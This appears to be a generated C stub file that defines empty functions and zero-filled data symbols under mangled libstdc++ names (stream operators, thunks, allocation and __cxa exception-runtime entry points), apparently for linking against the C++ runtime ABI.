void _ZSt9use_facetISt9money_getIwSt19istreambuf_iteratorIwSt11char_traitsIwEEEERKT_RKSt6locale() {} ;
void _ZSt9use_facetISt9money_putIcSt19ostreambuf_iteratorIcSt11char_traitsIcEEEERKT_RKSt6locale() {} ;
void _ZSt9use_facetISt9money_putIwSt19ostreambuf_iteratorIwSt11char_traitsIwEEEERKT_RKSt6locale() {} ;
void _ZStlsISt11char_traitsIcEERSt13basic_ostreamIcT_ES5_PKa() {} ;
void _ZStlsISt11char_traitsIcEERSt13basic_ostreamIcT_ES5_PKc() {} ;
void _ZStlsISt11char_traitsIcEERSt13basic_ostreamIcT_ES5_PKh() {} ;
void _ZStlsISt11char_traitsIcEERSt13basic_ostreamIcT_ES5_a() {} ;
void _ZStlsISt11char_traitsIcEERSt13basic_ostreamIcT_ES5_c() {} ;
void _ZStlsISt11char_traitsIcEERSt13basic_ostreamIcT_ES5_h() {} ;
void _ZStlsIcSt11char_traitsIcEERSt13basic_ostreamIT_T0_ES6_St12_Setiosflags() {} ;
void _ZStlsIcSt11char_traitsIcEERSt13basic_ostreamIT_T0_ES6_St13_Setprecision() {} ;
void _ZStlsIcSt11char_traitsIcEERSt13basic_ostreamIT_T0_ES6_St14_Resetiosflags() {} ;
void _ZStlsIcSt11char_traitsIcEERSt13basic_ostreamIT_T0_ES6_St5_Setw() {} ;
void _ZStlsIcSt11char_traitsIcEERSt13basic_ostreamIT_T0_ES6_St8_Setbase() {} ;
void _ZStlsIcSt11char_traitsIcEERSt13basic_ostreamIT_T0_ES6_St8_SetfillIS3_E() {} ;
void _ZStlsIcSt11char_traitsIcESaIcEERSt13basic_ostreamIT_T0_ES7_RKSbIS4_S5_T1_E() {} ;
void _ZStlsIdcSt11char_traitsIcEERSt13basic_ostreamIT0_T1_ES6_RKSt7complexIT_E() {} ;
void _ZStlsIdwSt11char_traitsIwEERSt13basic_ostreamIT0_T1_ES6_RKSt7complexIT_E() {} ;
void _ZStlsIecSt11char_traitsIcEERSt13basic_ostreamIT0_T1_ES6_RKSt7complexIT_E() {} ;
void _ZStlsIewSt11char_traitsIwEERSt13basic_ostreamIT0_T1_ES6_RKSt7complexIT_E() {} ;
void _ZStlsIfcSt11char_traitsIcEERSt13basic_ostreamIT0_T1_ES6_RKSt7complexIT_E() {} ;
void _ZStlsIfwSt11char_traitsIwEERSt13basic_ostreamIT0_T1_ES6_RKSt7complexIT_E() {} ;
void _ZStlsIgcSt11char_traitsIcEERSt13basic_ostreamIT0_T1_ES6_RKSt7complexIT_E() {} ;
void _ZStlsIgwSt11char_traitsIwEERSt13basic_ostreamIT0_T1_ES6_RKSt7complexIT_E() {} ;
void _ZStlsIwSt11char_traitsIwEERSt13basic_ostreamIT_T0_ES6_PKS3_() {} ;
void _ZStlsIwSt11char_traitsIwEERSt13basic_ostreamIT_T0_ES6_PKc() {} ;
void _ZStlsIwSt11char_traitsIwEERSt13basic_ostreamIT_T0_ES6_S3_() {} ;
void _ZStlsIwSt11char_traitsIwEERSt13basic_ostreamIT_T0_ES6_St12_Setiosflags() {} ;
void _ZStlsIwSt11char_traitsIwEERSt13basic_ostreamIT_T0_ES6_St13_Setprecision() {} ;
void _ZStlsIwSt11char_traitsIwEERSt13basic_ostreamIT_T0_ES6_St14_Resetiosflags() {} ;
void _ZStlsIwSt11char_traitsIwEERSt13basic_ostreamIT_T0_ES6_St5_Setw() {} ;
void _ZStlsIwSt11char_traitsIwEERSt13basic_ostreamIT_T0_ES6_St8_Setbase() {} ;
void _ZStlsIwSt11char_traitsIwEERSt13basic_ostreamIT_T0_ES6_St8_SetfillIS3_E() {} ;
void _ZStlsIwSt11char_traitsIwEERSt13basic_ostreamIT_T0_ES6_c() {} ;
void _ZStlsIwSt11char_traitsIwESaIwEERSt13basic_ostreamIT_T0_ES7_RKSbIS4_S5_T1_E() {} ;
void _ZStplIcSt11char_traitsIcESaIcEESbIT_T0_T1_EPKS3_RKS6_() {} ;
void _ZStplIcSt11char_traitsIcESaIcEESbIT_T0_T1_ERKS6_S8_() {} ;
void _ZStplIcSt11char_traitsIcESaIcEESbIT_T0_T1_ES3_RKS6_() {} ;
void _ZStplIwSt11char_traitsIwESaIwEESbIT_T0_T1_EPKS3_RKS6_() {} ;
void _ZStplIwSt11char_traitsIwESaIwEESbIT_T0_T1_ERKS6_S8_() {} ;
void _ZStplIwSt11char_traitsIwESaIwEESbIT_T0_T1_ES3_RKS6_() {} ;
void _ZStrsISt11char_traitsIcEERSt13basic_istreamIcT_ES5_Pa() {} ;
void _ZStrsISt11char_traitsIcEERSt13basic_istreamIcT_ES5_Ph() {} ;
void _ZStrsISt11char_traitsIcEERSt13basic_istreamIcT_ES5_Ra() {} ;
void _ZStrsISt11char_traitsIcEERSt13basic_istreamIcT_ES5_Rh() {} ;
void _ZStrsIcSt11char_traitsIcEERSt13basic_istreamIT_T0_ES6_PS3_() {} ;
void _ZStrsIcSt11char_traitsIcEERSt13basic_istreamIT_T0_ES6_RS3_() {} ;
void _ZStrsIcSt11char_traitsIcEERSt13basic_istreamIT_T0_ES6_St12_Setiosflags() {} ;
void _ZStrsIcSt11char_traitsIcEERSt13basic_istreamIT_T0_ES6_St13_Setprecision() {} ;
void _ZStrsIcSt11char_traitsIcEERSt13basic_istreamIT_T0_ES6_St14_Resetiosflags() {} ;
void _ZStrsIcSt11char_traitsIcEERSt13basic_istreamIT_T0_ES6_St5_Setw() {} ;
void _ZStrsIcSt11char_traitsIcEERSt13basic_istreamIT_T0_ES6_St8_Setbase() {} ;
void _ZStrsIcSt11char_traitsIcEERSt13basic_istreamIT_T0_ES6_St8_SetfillIS3_E() {} ;
void _ZStrsIcSt11char_traitsIcESaIcEERSt13basic_istreamIT_T0_ES7_RSbIS4_S5_T1_E() {} ;
void _ZStrsIdcSt11char_traitsIcEERSt13basic_istreamIT0_T1_ES6_RSt7complexIT_E() {} ;
void _ZStrsIdwSt11char_traitsIwEERSt13basic_istreamIT0_T1_ES6_RSt7complexIT_E() {} ;
void _ZStrsIecSt11char_traitsIcEERSt13basic_istreamIT0_T1_ES6_RSt7complexIT_E() {} ;
void _ZStrsIewSt11char_traitsIwEERSt13basic_istreamIT0_T1_ES6_RSt7complexIT_E() {} ;
void _ZStrsIfcSt11char_traitsIcEERSt13basic_istreamIT0_T1_ES6_RSt7complexIT_E() {} ;
void _ZStrsIfwSt11char_traitsIwEERSt13basic_istreamIT0_T1_ES6_RSt7complexIT_E() {} ;
void _ZStrsIgcSt11char_traitsIcEERSt13basic_istreamIT0_T1_ES6_RSt7complexIT_E() {} ;
void _ZStrsIgwSt11char_traitsIwEERSt13basic_istreamIT0_T1_ES6_RSt7complexIT_E() {} ;
void _ZStrsIwSt11char_traitsIwEERSt13basic_istreamIT_T0_ES6_PS3_() {} ;
void _ZStrsIwSt11char_traitsIwEERSt13basic_istreamIT_T0_ES6_RS3_() {} ;
void _ZStrsIwSt11char_traitsIwEERSt13basic_istreamIT_T0_ES6_St12_Setiosflags() {} ;
void _ZStrsIwSt11char_traitsIwEERSt13basic_istreamIT_T0_ES6_St13_Setprecision() {} ;
void _ZStrsIwSt11char_traitsIwEERSt13basic_istreamIT_T0_ES6_St14_Resetiosflags() {} ;
void _ZStrsIwSt11char_traitsIwEERSt13basic_istreamIT_T0_ES6_St5_Setw() {} ;
void _ZStrsIwSt11char_traitsIwEERSt13basic_istreamIT_T0_ES6_St8_Setbase() {} ;
void _ZStrsIwSt11char_traitsIwEERSt13basic_istreamIT_T0_ES6_St8_SetfillIS3_E() {} ;
void _ZStrsIwSt11char_traitsIwESaIwEERSt13basic_istreamIT_T0_ES7_RSbIS4_S5_T1_E() {} ;
void _ZThn8_NSdD0Ev() {} ;
void _ZThn8_NSdD1Ev() {} ;
void _ZThn8_NSt13basic_fstreamIcSt11char_traitsIcEED0Ev() {} ;
void _ZThn8_NSt13basic_fstreamIcSt11char_traitsIcEED1Ev() {} ;
void _ZThn8_NSt13basic_fstreamIwSt11char_traitsIwEED0Ev() {} ;
void _ZThn8_NSt13basic_fstreamIwSt11char_traitsIwEED1Ev() {} ;
void _ZThn8_NSt14basic_iostreamIwSt11char_traitsIwEED0Ev() {} ;
void _ZThn8_NSt14basic_iostreamIwSt11char_traitsIwEED1Ev() {} ;
void _ZThn8_NSt18basic_stringstreamIcSt11char_traitsIcESaIcEED0Ev() {} ;
void _ZThn8_NSt18basic_stringstreamIcSt11char_traitsIcESaIcEED1Ev() {} ;
void _ZThn8_NSt18basic_stringstreamIwSt11char_traitsIwESaIwEED0Ev() {} ;
void _ZThn8_NSt18basic_stringstreamIwSt11char_traitsIwESaIwEED1Ev() {} ;
void _ZTv0_n12_NSdD0Ev() {} ;
void _ZTv0_n12_NSdD1Ev() {} ;
void _ZTv0_n12_NSiD0Ev() {} ;
void _ZTv0_n12_NSiD1Ev() {} ;
void _ZTv0_n12_NSoD0Ev() {} ;
void _ZTv0_n12_NSoD1Ev() {} ;
void _ZTv0_n12_NSt13basic_fstreamIcSt11char_traitsIcEED0Ev() {} ;
void _ZTv0_n12_NSt13basic_fstreamIcSt11char_traitsIcEED1Ev() {} ;
void _ZTv0_n12_NSt13basic_fstreamIwSt11char_traitsIwEED0Ev() {} ;
void _ZTv0_n12_NSt13basic_fstreamIwSt11char_traitsIwEED1Ev() {} ;
void _ZTv0_n12_NSt13basic_istreamIwSt11char_traitsIwEED0Ev() {} ;
void _ZTv0_n12_NSt13basic_istreamIwSt11char_traitsIwEED1Ev() {} ;
void _ZTv0_n12_NSt13basic_ostreamIwSt11char_traitsIwEED0Ev() {} ;
void _ZTv0_n12_NSt13basic_ostreamIwSt11char_traitsIwEED1Ev() {} ;
void _ZTv0_n12_NSt14basic_ifstreamIcSt11char_traitsIcEED0Ev() {} ;
void _ZTv0_n12_NSt14basic_ifstreamIcSt11char_traitsIcEED1Ev() {} ;
void _ZTv0_n12_NSt14basic_ifstreamIwSt11char_traitsIwEED0Ev() {} ;
void _ZTv0_n12_NSt14basic_ifstreamIwSt11char_traitsIwEED1Ev() {} ;
void _ZTv0_n12_NSt14basic_iostreamIwSt11char_traitsIwEED0Ev() {} ;
void _ZTv0_n12_NSt14basic_iostreamIwSt11char_traitsIwEED1Ev() {} ;
void _ZTv0_n12_NSt14basic_ofstreamIcSt11char_traitsIcEED0Ev() {} ;
void _ZTv0_n12_NSt14basic_ofstreamIcSt11char_traitsIcEED1Ev() {} ;
void _ZTv0_n12_NSt14basic_ofstreamIwSt11char_traitsIwEED0Ev() {} ;
void _ZTv0_n12_NSt14basic_ofstreamIwSt11char_traitsIwEED1Ev() {} ;
void _ZTv0_n12_NSt18basic_stringstreamIcSt11char_traitsIcESaIcEED0Ev() {} ;
void _ZTv0_n12_NSt18basic_stringstreamIcSt11char_traitsIcESaIcEED1Ev() {} ;
void _ZTv0_n12_NSt18basic_stringstreamIwSt11char_traitsIwESaIwEED0Ev() {} ;
void _ZTv0_n12_NSt18basic_stringstreamIwSt11char_traitsIwESaIwEED1Ev() {} ;
void _ZTv0_n12_NSt19basic_istringstreamIcSt11char_traitsIcESaIcEED0Ev() {} ;
void _ZTv0_n12_NSt19basic_istringstreamIcSt11char_traitsIcESaIcEED1Ev() {} ;
void _ZTv0_n12_NSt19basic_istringstreamIwSt11char_traitsIwESaIwEED0Ev() {} ;
void _ZTv0_n12_NSt19basic_istringstreamIwSt11char_traitsIwESaIwEED1Ev() {} ;
void _ZTv0_n12_NSt19basic_ostringstreamIcSt11char_traitsIcESaIcEED0Ev() {} ;
void _ZTv0_n12_NSt19basic_ostringstreamIcSt11char_traitsIcESaIcEED1Ev() {} ;
void _ZTv0_n12_NSt19basic_ostringstreamIwSt11char_traitsIwESaIwEED0Ev() {} ;
void _ZTv0_n12_NSt19basic_ostringstreamIwSt11char_traitsIwESaIwEED1Ev() {} ;
void _ZdaPv() {} ;
void _ZdaPvRKSt9nothrow_t() {} ;
void _ZdlPv() {} ;
void _ZdlPvRKSt9nothrow_t() {} ;
void _Znam() {} ;
void _ZnamRKSt9nothrow_t() {} ;
void _Znwm() {} ;
void _ZnwmRKSt9nothrow_t() {} ;
void __cxa_allocate_exception() {} ;
void __cxa_bad_cast() {} ;
void __cxa_bad_typeid() {} ;
void __cxa_begin_catch() {} ;
void __cxa_call_unexpected() {} ;
void __cxa_current_exception_type() {} ;
void __cxa_demangle() {} ;
void __cxa_end_catch() {} ;
void __cxa_free_exception() {} ;
void __cxa_get_exception_ptr() {} ;
void __cxa_get_globals() {} ;
void __cxa_get_globals_fast() {} ;
void __cxa_guard_abort() {} ;
void __cxa_guard_acquire() {} ;
void __cxa_guard_release() {} ;
void __cxa_pure_virtual() {} ;
void __cxa_rethrow() {} ;
void __cxa_throw() {} ;
void __cxa_vec_cctor() {} ;
void __cxa_vec_cleanup() {} ;
void __cxa_vec_ctor() {} ;
void __cxa_vec_delete() {} ;
void __cxa_vec_delete2() {} ;
void __cxa_vec_delete3() {} ;
void __cxa_vec_dtor() {} ;
void __cxa_vec_new() {} ;
void __cxa_vec_new2() {} ;
void __cxa_vec_new3() {} ;
void __dynamic_cast() {} ;
void __gxx_personality_v0() {} ;
__asm__(".globl _ZGVNSt10moneypunctIcLb0EE2idE; .pushsection .data; .type _ZGVNSt10moneypunctIcLb0EE2idE,@object; .size _ZGVNSt10moneypunctIcLb0EE2idE, 8; _ZGVNSt10moneypunctIcLb0EE2idE: .long 0; .popsection");
__asm__(".globl _ZGVNSt10moneypunctIcLb1EE2idE; .pushsection .data; .type _ZGVNSt10moneypunctIcLb1EE2idE,@object; .size _ZGVNSt10moneypunctIcLb1EE2idE, 8; _ZGVNSt10moneypunctIcLb1EE2idE: .long 0; .popsection");
__asm__(".globl _ZGVNSt10moneypunctIwLb0EE2idE; .pushsection .data; .type _ZGVNSt10moneypunctIwLb0EE2idE,@object; .size _ZGVNSt10moneypunctIwLb0EE2idE, 8; _ZGVNSt10moneypunctIwLb0EE2idE: .long 0; .popsection");
__asm__(".globl _ZGVNSt10moneypunctIwLb1EE2idE; .pushsection .data; .type _ZGVNSt10moneypunctIwLb1EE2idE,@object; .size _ZGVNSt10moneypunctIwLb1EE2idE, 8; _ZGVNSt10moneypunctIwLb1EE2idE: .long 0; .popsection");
__asm__(".globl _ZGVNSt11__timepunctIcE2idE; .pushsection .data; .type _ZGVNSt11__timepunctIcE2idE,@object; .size _ZGVNSt11__timepunctIcE2idE, 8; _ZGVNSt11__timepunctIcE2idE: .long 0; .popsection");
__asm__(".globl _ZGVNSt11__timepunctIwE2idE; .pushsection .data; .type _ZGVNSt11__timepunctIwE2idE,@object; .size _ZGVNSt11__timepunctIwE2idE, 8; _ZGVNSt11__timepunctIwE2idE: .long 0; .popsection");
__asm__(".globl _ZGVNSt17__gnu_cxx_ldbl1287num_getIcSt19istreambuf_iteratorIcSt11char_traitsIcEEE2idE; .pushsection .data; .type _ZGVNSt17__gnu_cxx_ldbl1287num_getIcSt19istreambuf_iteratorIcSt11char_traitsIcEEE2idE,@object; .size _ZGVNSt17__gnu_cxx_ldbl1287num_getIcSt19istreambuf_iteratorIcSt11char_traitsIcEEE2idE, 8; _ZGVNSt17__gnu_cxx_ldbl1287num_getIcSt19istreambuf_iteratorIcSt11char_traitsIcEEE2idE: .long 0; .popsection");
__asm__(".globl _ZGVNSt17__gnu_cxx_ldbl1287num_getIwSt19istreambuf_iteratorIwSt11char_traitsIwEEE2idE; .pushsection .data; .type _ZGVNSt17__gnu_cxx_ldbl1287num_getIwSt19istreambuf_iteratorIwSt11char_traitsIwEEE2idE,@object; .size _ZGVNSt17__gnu_cxx_ldbl1287num_getIwSt19istreambuf_iteratorIwSt11char_traitsIwEEE2idE, 8; _ZGVNSt17__gnu_cxx_ldbl1287num_getIwSt19istreambuf_iteratorIwSt11char_traitsIwEEE2idE: .long 0; .popsection");
__asm__(".globl _ZGVNSt17__gnu_cxx_ldbl1287num_putIcSt19ostreambuf_iteratorIcSt11char_traitsIcEEE2idE; .pushsection .data; .type _ZGVNSt17__gnu_cxx_ldbl1287num_putIcSt19ostreambuf_iteratorIcSt11char_traitsIcEEE2idE,@object; .size _ZGVNSt17__gnu_cxx_ldbl1287num_putIcSt19ostreambuf_iteratorIcSt11char_traitsIcEEE2idE, 8; _ZGVNSt17__gnu_cxx_ldbl1287num_putIcSt19ostreambuf_iteratorIcSt11char_traitsIcEEE2idE: .long 0; .popsection");
__asm__(".globl _ZGVNSt17__gnu_cxx_ldbl1287num_putIwSt19ostreambuf_iteratorIwSt11char_traitsIwEEE2idE; .pushsection .data; .type _ZGVNSt17__gnu_cxx_ldbl1287num_putIwSt19ostreambuf_iteratorIwSt11char_traitsIwEEE2idE,@object; .size _ZGVNSt17__gnu_cxx_ldbl1287num_putIwSt19ostreambuf_iteratorIwSt11char_traitsIwEEE2idE, 8; _ZGVNSt17__gnu_cxx_ldbl1287num_putIwSt19ostreambuf_iteratorIwSt11char_traitsIwEEE2idE: .long 0; .popsection");
__asm__(".globl _ZGVNSt17__gnu_cxx_ldbl1289money_getIcSt19istreambuf_iteratorIcSt11char_traitsIcEEE2idE; .pushsection .data; .type _ZGVNSt17__gnu_cxx_ldbl1289money_getIcSt19istreambuf_iteratorIcSt11char_traitsIcEEE2idE,@object; .size _ZGVNSt17__gnu_cxx_ldbl1289money_getIcSt19istreambuf_iteratorIcSt11char_traitsIcEEE2idE, 8; _ZGVNSt17__gnu_cxx_ldbl1289money_getIcSt19istreambuf_iteratorIcSt11char_traitsIcEEE2idE: .long 0; .popsection");
__asm__(".globl _ZGVNSt17__gnu_cxx_ldbl1289money_getIwSt19istreambuf_iteratorIwSt11char_traitsIwEEE2idE; .pushsection .data; .type _ZGVNSt17__gnu_cxx_ldbl1289money_getIwSt19istreambuf_iteratorIwSt11char_traitsIwEEE2idE,@object; .size _ZGVNSt17__gnu_cxx_ldbl1289money_getIwSt19istreambuf_iteratorIwSt11char_traitsIwEEE2idE, 8; _ZGVNSt17__gnu_cxx_ldbl1289money_getIwSt19istreambuf_iteratorIwSt11char_traitsIwEEE2idE: .long 0; .popsection");
__asm__(".globl _ZGVNSt17__gnu_cxx_ldbl1289money_putIcSt19ostreambuf_iteratorIcSt11char_traitsIcEEE2idE; .pushsection .data; .type _ZGVNSt17__gnu_cxx_ldbl1289money_putIcSt19ostreambuf_iteratorIcSt11char_traitsIcEEE2idE,@object; .size _ZGVNSt17__gnu_cxx_ldbl1289money_putIcSt19ostreambuf_iteratorIcSt11char_traitsIcEEE2idE, 8; _ZGVNSt17__gnu_cxx_ldbl1289money_putIcSt19ostreambuf_iteratorIcSt11char_traitsIcEEE2idE: .long 0; .popsection");
__asm__(".globl _ZGVNSt17__gnu_cxx_ldbl1289money_putIwSt19ostreambuf_iteratorIwSt11char_traitsIwEEE2idE; .pushsection .data; .type _ZGVNSt17__gnu_cxx_ldbl1289money_putIwSt19ostreambuf_iteratorIwSt11char_traitsIwEEE2idE,@object; .size _ZGVNSt17__gnu_cxx_ldbl1289money_putIwSt19ostreambuf_iteratorIwSt11char_traitsIwEEE2idE, 8; _ZGVNSt17__gnu_cxx_ldbl1289money_putIwSt19ostreambuf_iteratorIwSt11char_traitsIwEEE2idE: .long 0; .popsection");
__asm__(".globl _ZGVNSt7collateIcE2idE; .pushsection .data; .type _ZGVNSt7collateIcE2idE,@object; .size _ZGVNSt7collateIcE2idE, 8; _ZGVNSt7collateIcE2idE: .long 0; .popsection");
__asm__(".globl _ZGVNSt7collateIwE2idE; .pushsection .data; .type _ZGVNSt7collateIwE2idE,@object; .size _ZGVNSt7collateIwE2idE, 8; _ZGVNSt7collateIwE2idE: .long 0; .popsection");
__asm__(".globl _ZGVNSt7num_getIcSt19istreambuf_iteratorIcSt11char_traitsIcEEE2idE; .pushsection .data; .type _ZGVNSt7num_getIcSt19istreambuf_iteratorIcSt11char_traitsIcEEE2idE,@object; .size _ZGVNSt7num_getIcSt19istreambuf_iteratorIcSt11char_traitsIcEEE2idE, 8; _ZGVNSt7num_getIcSt19istreambuf_iteratorIcSt11char_traitsIcEEE2idE: .long 0; .popsection");
__asm__(".globl _ZGVNSt7num_getIwSt19istreambuf_iteratorIwSt11char_traitsIwEEE2idE; .pushsection .data; .type _ZGVNSt7num_getIwSt19istreambuf_iteratorIwSt11char_traitsIwEEE2idE,@object; .size _ZGVNSt7num_getIwSt19istreambuf_iteratorIwSt11char_traitsIwEEE2idE, 8; _ZGVNSt7num_getIwSt19istreambuf_iteratorIwSt11char_traitsIwEEE2idE: .long 0; .popsection");
__asm__(".globl _ZGVNSt7num_putIcSt19ostreambuf_iteratorIcSt11char_traitsIcEEE2idE; .pushsection .data; .type _ZGVNSt7num_putIcSt19ostreambuf_iteratorIcSt11char_traitsIcEEE2idE,@object; .size _ZGVNSt7num_putIcSt19ostreambuf_iteratorIcSt11char_traitsIcEEE2idE, 8; _ZGVNSt7num_putIcSt19ostreambuf_iteratorIcSt11char_traitsIcEEE2idE: .long 0; .popsection");
__asm__(".globl _ZGVNSt7num_putIwSt19ostreambuf_iteratorIwSt11char_traitsIwEEE2idE; .pushsection .data; .type _ZGVNSt7num_putIwSt19ostreambuf_iteratorIwSt11char_traitsIwEEE2idE,@object; .size _ZGVNSt7num_putIwSt19ostreambuf_iteratorIwSt11char_traitsIwEEE2idE, 8; _ZGVNSt7num_putIwSt19ostreambuf_iteratorIwSt11char_traitsIwEEE2idE: .long 0; .popsection");
__asm__(".globl _ZGVNSt8messagesIcE2idE; .pushsection .data; .type _ZGVNSt8messagesIcE2idE,@object; .size _ZGVNSt8messagesIcE2idE, 8; _ZGVNSt8messagesIcE2idE: .long 0; .popsection");
__asm__(".globl _ZGVNSt8messagesIwE2idE; .pushsection .data; .type _ZGVNSt8messagesIwE2idE,@object; .size _ZGVNSt8messagesIwE2idE, 8; _ZGVNSt8messagesIwE2idE: .long 0; .popsection");
__asm__(".globl _ZGVNSt8numpunctIcE2idE; .pushsection .data; .type _ZGVNSt8numpunctIcE2idE,@object; .size _ZGVNSt8numpunctIcE2idE, 8; _ZGVNSt8numpunctIcE2idE: .long 0; .popsection");
__asm__(".globl _ZGVNSt8numpunctIwE2idE; .pushsection .data; .type _ZGVNSt8numpunctIwE2idE,@object; .size _ZGVNSt8numpunctIwE2idE, 8; _ZGVNSt8numpunctIwE2idE: .long 0; .popsection");
__asm__(".globl _ZGVNSt8time_getIcSt19istreambuf_iteratorIcSt11char_traitsIcEEE2idE; .pushsection .data; .type _ZGVNSt8time_getIcSt19istreambuf_iteratorIcSt11char_traitsIcEEE2idE,@object; .size _ZGVNSt8time_getIcSt19istreambuf_iteratorIcSt11char_traitsIcEEE2idE, 8; _ZGVNSt8time_getIcSt19istreambuf_iteratorIcSt11char_traitsIcEEE2idE: .long 0; .popsection");
__asm__(".globl _ZGVNSt8time_getIwSt19istreambuf_iteratorIwSt11char_traitsIwEEE2idE; .pushsection .data; .type _ZGVNSt8time_getIwSt19istreambuf_iteratorIwSt11char_traitsIwEEE2idE,@object; .size _ZGVNSt8time_getIwSt19istreambuf_iteratorIwSt11char_traitsIwEEE2idE, 8; _ZGVNSt8time_getIwSt19istreambuf_iteratorIwSt11char_traitsIwEEE2idE: .long 0; .popsection");
__asm__(".globl _ZGVNSt8time_putIcSt19ostreambuf_iteratorIcSt11char_traitsIcEEE2idE; .pushsection .data; .type _ZGVNSt8time_putIcSt19ostreambuf_iteratorIcSt11char_traitsIcEEE2idE,@object; .size _ZGVNSt8time_putIcSt19ostreambuf_iteratorIcSt11char_traitsIcEEE2idE, 8; _ZGVNSt8time_putIcSt19ostreambuf_iteratorIcSt11char_traitsIcEEE2idE: .long 0; .popsection");
__asm__(".globl _ZGVNSt8time_putIwSt19ostreambuf_iteratorIwSt11char_traitsIwEEE2idE; .pushsection .data; .type _ZGVNSt8time_putIwSt19ostreambuf_iteratorIwSt11char_traitsIwEEE2idE,@object; .size _ZGVNSt8time_putIwSt19ostreambuf_iteratorIwSt11char_traitsIwEEE2idE, 8; _ZGVNSt8time_putIwSt19ostreambuf_iteratorIwSt11char_traitsIwEEE2idE: .long 0; .popsection");
__asm__(".globl _ZGVNSt9money_getIcSt19istreambuf_iteratorIcSt11char_traitsIcEEE2idE; .pushsection .data; .type _ZGVNSt9money_getIcSt19istreambuf_iteratorIcSt11char_traitsIcEEE2idE,@object; .size _ZGVNSt9money_getIcSt19istreambuf_iteratorIcSt11char_traitsIcEEE2idE, 8; _ZGVNSt9money_getIcSt19istreambuf_iteratorIcSt11char_traitsIcEEE2idE: .long 0; .popsection");
__asm__(".globl _ZGVNSt9money_getIwSt19istreambuf_iteratorIwSt11char_traitsIwEEE2idE; .pushsection .data; .type _ZGVNSt9money_getIwSt19istreambuf_iteratorIwSt11char_traitsIwEEE2idE,@object; .size _ZGVNSt9money_getIwSt19istreambuf_iteratorIwSt11char_traitsIwEEE2idE, 8; _ZGVNSt9money_getIwSt19istreambuf_iteratorIwSt11char_traitsIwEEE2idE: .long 0; .popsection");
__asm__(".globl _ZGVNSt9money_putIcSt19ostreambuf_iteratorIcSt11char_traitsIcEEE2idE; .pushsection .data; .type _ZGVNSt9money_putIcSt19ostreambuf_iteratorIcSt11char_traitsIcEEE2idE,@object; .size _ZGVNSt9money_putIcSt19ostreambuf_iteratorIcSt11char_traitsIcEEE2idE, 8; _ZGVNSt9money_putIcSt19ostreambuf_iteratorIcSt11char_traitsIcEEE2idE: .long 0; .popsection");
__asm__(".globl _ZGVNSt9money_putIwSt19ostreambuf_iteratorIwSt11char_traitsIwEEE2idE; .pushsection .data; .type _ZGVNSt9money_putIwSt19ostreambuf_iteratorIwSt11char_traitsIwEEE2idE,@object; .size _ZGVNSt9money_putIwSt19ostreambuf_iteratorIwSt11char_traitsIwEEE2idE, 8; _ZGVNSt9money_putIwSt19ostreambuf_iteratorIwSt11char_traitsIwEEE2idE: .long 0; .popsection");
__asm__(".globl _ZNSbIwSt11char_traitsIwESaIwEE4_Rep11_S_max_sizeE; .pushsection .data; .type _ZNSbIwSt11char_traitsIwESaIwEE4_Rep11_S_max_sizeE,@object; .size _ZNSbIwSt11char_traitsIwESaIwEE4_Rep11_S_max_sizeE, 4; _ZNSbIwSt11char_traitsIwESaIwEE4_Rep11_S_max_sizeE: .long 0; .popsection");
__asm__(".globl _ZNSbIwSt11char_traitsIwESaIwEE4_Rep11_S_terminalE; .pushsection .data; .type _ZNSbIwSt11char_traitsIwESaIwEE4_Rep11_S_terminalE,@object; .size _ZNSbIwSt11char_traitsIwESaIwEE4_Rep11_S_terminalE, 4; _ZNSbIwSt11char_traitsIwESaIwEE4_Rep11_S_terminalE: .long 0; .popsection");
__asm__(".globl _ZNSbIwSt11char_traitsIwESaIwEE4_Rep20_S_empty_rep_storageE; .pushsection .data; .type _ZNSbIwSt11char_traitsIwESaIwEE4_Rep20_S_empty_rep_storageE,@object; .size _ZNSbIwSt11char_traitsIwESaIwEE4_Rep20_S_empty_rep_storageE, 16; _ZNSbIwSt11char_traitsIwESaIwEE4_Rep20_S_empty_rep_storageE: .long 0; .popsection");
__asm__(".globl _ZNSbIwSt11char_traitsIwESaIwEE4nposE; .pushsection .data; .type _ZNSbIwSt11char_traitsIwESaIwEE4nposE,@object; .size _ZNSbIwSt11char_traitsIwESaIwEE4nposE, 4; _ZNSbIwSt11char_traitsIwESaIwEE4nposE: .long 0; .popsection");
__asm__(".globl _ZNSs4_Rep11_S_max_sizeE; .pushsection .data; .type _ZNSs4_Rep11_S_max_sizeE,@object; .size _ZNSs4_Rep11_S_max_sizeE, 4; _ZNSs4_Rep11_S_max_sizeE: .long 0; .popsection");
__asm__(".globl _ZNSs4_Rep11_S_terminalE; .pushsection .data; .type _ZNSs4_Rep11_S_terminalE,@object; .size _ZNSs4_Rep11_S_terminalE, 1; _ZNSs4_Rep11_S_terminalE: .long 0; .popsection");
__asm__(".globl _ZNSs4_Rep20_S_empty_rep_storageE; .pushsection .data; .type _ZNSs4_Rep20_S_empty_rep_storageE,@object; .size _ZNSs4_Rep20_S_empty_rep_storageE, 16; _ZNSs4_Rep20_S_empty_rep_storageE: .long 0; .popsection");
__asm__(".globl _ZNSs4nposE; .pushsection .data; .type _ZNSs4nposE,@object; .size _ZNSs4nposE, 4; _ZNSs4nposE: .long 0; .popsection");
__asm__(".globl _ZNSt10__num_base11_S_atoms_inE; .pushsection .data; .type _ZNSt10__num_base11_S_atoms_inE,@object; .size _ZNSt10__num_base11_S_atoms_inE, 4; _ZNSt10__num_base11_S_atoms_inE: .long 0; .popsection");
__asm__(".globl _ZNSt10__num_base12_S_atoms_outE; .pushsection .data; .type _ZNSt10__num_base12_S_atoms_outE,@object; .size _ZNSt10__num_base12_S_atoms_outE, 4; _ZNSt10__num_base12_S_atoms_outE: .long 0; .popsection");
__asm__(".globl _ZNSt10ctype_base5alnumE; .pushsection .data; .type _ZNSt10ctype_base5alnumE,@object; .size _ZNSt10ctype_base5alnumE, 2; _ZNSt10ctype_base5alnumE: .long 0; .popsection");
__asm__(".globl _ZNSt10ctype_base5alphaE; .pushsection .data; .type _ZNSt10ctype_base5alphaE,@object; .size _ZNSt10ctype_base5alphaE, 2; _ZNSt10ctype_base5alphaE: .long 0; .popsection");
__asm__(".globl _ZNSt10ctype_base5cntrlE; .pushsection .data; .type _ZNSt10ctype_base5cntrlE,@object; .size _ZNSt10ctype_base5cntrlE, 2; _ZNSt10ctype_base5cntrlE: .long 0; .popsection");
__asm__(".globl _ZNSt10ctype_base5digitE; .pushsection .data; .type _ZNSt10ctype_base5digitE,@object; .size _ZNSt10ctype_base5digitE, 2; _ZNSt10ctype_base5digitE: .long 0; .popsection");
